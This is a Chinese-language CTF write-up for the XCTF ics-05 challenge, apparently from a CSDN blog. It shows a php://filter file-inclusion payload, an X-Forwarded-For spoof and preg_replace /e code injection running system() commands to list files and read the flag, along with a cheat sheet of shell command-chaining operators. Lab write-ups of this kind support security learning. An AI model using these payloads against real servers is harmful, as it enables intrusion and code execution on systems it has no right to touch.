攻防世界 ics-05

ics-05

隐藏的变量传参,php弱类型比较

只有设备维护中心可以点击进去

img

查看源码,发现有个隐藏的超链接变量传参

img

看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

base解码,可以看到漏洞点在这里

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}
?>

分析一下,传入了三个变量pat,rep,sub

preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。  
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。  
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。

找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行

img

所以先抓包,添加一个X-Forwarded-For

img

接着查看可疑文件,用%20代替空格 %26代替&,%20%26是它们的url编码

命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
system("ls%20s3chahahaDir")     
system("cd%20s3chahahaDir%26%26ls")

img

继续查看文件内容

system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")

img

拿到flag

system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")

img

攻防世界XCTF:ics-05_xctf-insc05-CSDN博客

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值